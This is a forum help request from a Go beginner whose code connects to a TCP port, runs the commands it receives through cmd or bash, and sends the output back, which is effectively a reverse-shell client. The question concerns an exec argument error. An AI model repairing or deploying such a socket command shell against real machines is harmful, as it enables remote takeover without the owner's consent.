Hi! I am new to GO-lang. I am writing a program that deals with sockets and executing commands from the data received from the socket.
I am getting an error as following:
fork/exec C:\WINDOWS\system32\cmd.exe: invalid argument
when I use a variable “tmp” to pass arguments
package main
import (
"fmt"
"net"
"os"
"os/exec"
"runtime"
"strings"
)
func Execute(value string) string {
name := "windows"
switch runtime.GOOS {
case "windows":
name = "cmd"
value = "/C" + " " + value
default:
name = "/bin/bash"
}
fmt.Println(name, value)
tmp := strings.Split(value, " ")
cmd := exec.Command(name, tmp...) // HERE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
output, err := cmd.Output()
if err != nil {
return err.Error()
}
return string(output)
}
func main() {
conn, err := net.Dial("tcp", ":9999")
if err != nil {
panic(err)
}
os.Chdir("/")
for {
buffer := make([]byte, 1024)
conn.Read(buffer)
command := string(buffer)
command = strings.TrimSpace(command)
fmt.Println(command)
if command == "exit" {
break
}
if strings.HasPrefix(command, "cd") && len(command) > 2 {
tmp := strings.Split(command, " ")
os.Chdir(tmp[1])
output, _ := os.Getwd()
conn.Write([]byte(output))
continue
}
output := Execute(command)
conn.Write([]byte(output))
}
defer conn.Close()
}
But when I hard code values, like the following, it all works fine like:
cmd := exec.Command("cmd", "/C", "dir") // HERE!!
Please help